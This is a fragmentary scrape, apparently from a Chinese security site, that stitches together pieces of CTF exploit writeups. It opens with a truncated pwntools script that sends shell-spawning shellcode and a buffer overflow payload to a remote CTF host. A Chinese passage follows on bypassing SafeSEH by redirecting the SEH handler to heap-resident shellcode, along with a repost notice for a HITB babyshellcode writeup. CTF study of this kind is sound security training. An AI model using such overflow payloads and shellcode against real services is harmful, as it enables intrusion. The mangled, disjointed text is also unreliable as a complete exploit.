frompwnimport* debug=0ifdebug: a= process('./level1.80eacdcd51aca92af7749d96efad7fb5')else: a= remote('pwn2.jarvisoj.com',9877) shellcode = asm(shellcraft.sh()) a.recvuntil("What's this:") addr_buf= int(a.recvuntil("?")[:-1],16) payload= shellcode +'a'* (0x88 + 0x4...
这样,结合之前我们的整个利用过程,完成整个利用链,最后完成shell交互。 本文转载自:whereisk0shl.top 如若转载,请注明出处:https://whereisk0shl.top/hitb_gsec_ctf_babyshellcode_writeup.html 安全KER - 有思想的安全新媒体 CTF通关攻略 2赞 收藏
首先我们想到的是利用堆指针来bypass safeseh,正好这个堆地址指向的shellcode,但是由于头部四字节呗修改成了0xffffffff,因此我们只需要覆盖seh handler为heap address+4,然后把shellcode跳过开头4字节编码,头4字节放任意字符串(反正会被编码成0xffffffff),然后后面放shellcode的内容,应该就可以达到利用了(事实证明我too ...